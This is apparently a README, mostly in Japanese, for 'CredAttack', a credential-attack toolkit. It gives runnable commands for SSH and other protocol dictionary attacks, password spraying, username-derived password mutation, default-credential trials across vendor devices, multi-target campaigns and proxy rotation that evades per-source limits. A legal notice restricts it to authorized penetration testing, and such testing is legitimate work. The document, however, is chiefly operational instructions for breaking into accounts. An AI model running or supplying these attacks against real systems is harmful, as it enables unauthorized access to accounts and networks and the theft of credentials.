CredAttack — クレデンシャルアタックツールキット
⚠️ 法的通知 — 認可されたセキュリティテストのみ。
このツールを、所有していない、または明示的な書面による許可を得ていないシステムに対して使用することは、米国のComputer Fraud and Abuse Act、英国のComputer Misuse Act、および世界各国の同等の法律に違反します。SECURITY.mdを参照してください。
目次
CredAttackとは?
CredAttackは、認可された侵入テスト業務のためのモジュール式でプロダクションレベルのクレデンシャルテストスイートです。クレデンシャルアタックのライフサイクル全体をカバーします:
| フェーズ | CredAttackの機能 |
|---|
| 偵察 | デフォルトクレデンシャルDB(200+ペア)、スマートなユーザー名由来パターン生成 |
| 攻撃 | 17のプロトコルアタッカー、6つの攻撃モード、マルチターゲットキャンペーン |
攻撃モード
サポートされているプロトコル
アーキテクチャ
credattack.py ← CLI (Typer) — 8 attack-mode subcommands
│
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, CREDATTACK_* env-var overrides
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich progress UI)
│ ├── lockout.py ← LockoutDetector (sliding-window, thread-safe)
│ ├── proxy.py ← ProxyRotator (round-robin, health-check, demotion)
│ ├── mutator.py ← PasswordMutator (leet, seasonal, suffix, keyboard-walk…)
│ ├── result.py ← AttemptResult + SessionReport dataclasses
│ ├── report.py ← Jinja2 HTML report generator
│ └── logger.py ← Rich logging + JSONL audit writer
│
├── credattack/protocols/
│ └── *.py ← 18 ProtocolAttacker implementations
│
├── credattack/data/
│ ├── default_creds.json ← 200+ real default credential pairs
│ ├── smart_patterns.json ← 140+ enterprise password templates
│ └── wordlists/ ← Per-service default password lists
│
└── tests/ ← 50+ pytest tests (unit + protocol mocks)
クイックスタート
# Clone and set up
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# Check version
python credattack.py --version
# Dry-run (no connections made — verify your word lists)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# Real SSH dictionary attack
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# Password spray (rate-limited, lockout-safe)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# Smart mode — generate patterns from username + company
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# Try service defaults
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# Multi-target campaign
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
インストール
オプションA — pip + virtualenv(推奨)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
オプションB — Makefileショートカット
make install # core deps
make install-dev # + pytest-cov, ruff, mypy
オプションC — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# Mount your wordlists and collect output
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
CLIリファレンス
グローバルオプション
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version Show version and exit.
--help Show help.
共通フラグ(すべてのプロトコルコマンドで利用可能)
サブコマンド
# Protocol-specific (each maps to a dedicated attacker)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (form / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# Spray — single password, many users, long delay
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# Combo — cartesian product users × passwords
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# Smart — OSINT-derived generation
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# Defaults — try vendor default credentials
python credattack.py defaults -t HOST --protocol mysql
# Multi — same attack across multiple hosts
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# Full — all protocols in sequence
python credattack.py full -t HOST -U users.txt -P passes.txt
パスワードミューテーションエンジン
credattack/core/mutator.pyのPasswordMutatorは、合成可能な戦略をサポートしています:
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# All strategies combined
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# Just seasonal patterns
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
デフォルトクレデンシャルデータベース
credattack/data/default_creds.jsonには 200以上の実際のデフォルトクレデンシャルペア が含まれています(対象ベンダー):
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# See all defaults for a service
python credattack.py defaults -t HOST --protocol mysql --dry-run
# Run against target
python credattack.py defaults -t 10.0.0.1 --protocol ssh
プロキシローテーション
プロキシファイル(1行に1プロキシ、host:port形式)を渡します:
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotatorは起動時にヘルスチェックを実行し、障害率のしきい値を超えたプロキシを降格します。停止したプロキシは自動的に除外されます。
HTMLレポート
ドライラン以外の攻撃のたびに、./output/ディレクトリにHTMLレポートが自動生成されます:
- 統計カード:総試行数、成功率、所要時間、試行/秒
- 発見クレデンシャルテーブル:ホスト · プロトコル · ユーザー名 · パスワード(クリップボードにコピー可能)
- ダークテーマのJinja2テンプレート
# Open after a run
start output/report_*.html # Windows
open output/report_*.html # macOS
設定と環境変数
credattack/core/config.py内のすべての設定は、CREDATTACK_*環境変数で上書きできます:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
または、CLIレベルで標準フラグ(--threads、--timeoutなど)を使用しても上書きできます。
Docker
# Build image
docker build -t credattack -f docker/Dockerfile .
# Run with Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# Set config via environment
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
テスト
# Run all tests
pytest -q
# With coverage
pytest --cov=credattack --cov-report=term-missing -q
# Makefile shortcut
make test-cov
現在のスイート:50以上のテスト をカバー:
ワードリスト
⚠️ バンドルされている wordlists/ ファイルは最小限のスモークテスト用スタブです。実際の評価には独自のものを使用してください。
推奨ソース
# Use any external wordlist
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
プロジェクト構成
credential-attacks-toolkit/
├── credattack.py # CLI entrypoint (Typer)
├── pyproject.toml # PEP 517/518 build & tool config
├── requirements.txt # Runtime deps
├── Makefile # Developer shortcuts
├── VERSION # Single source of version truth
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + test matrix + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (sliding window)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # HTML report generator
│ │ └── logger.py # Rich logger + JSONL writer
│ ├── protocols/ # 18 ProtocolAttacker implementations
│ │ └── base.py # Abstract ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200+ vendor defaults
│ ├── smart_patterns.json # 140+ enterprise templates
│ └── wordlists/ # Per-service starter lists
├── tests/
│ ├── conftest.py # Shared fixtures
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # Minimal smoke-test stubs
└── output/ # Generated logs & reports (git-ignored)
攻撃成功率(参考値)
コントリビューション
CONTRIBUTING.mdを参照してください。
大規模なPRを送信する前に、まずIssueを開いてください。
すべてのコントリビューションは、SECURITY.mdの倫理的使用ポリシーに従わなければなりません。
責任を持って使用してください。倫理的にテストしてください。合法であることを守ってください。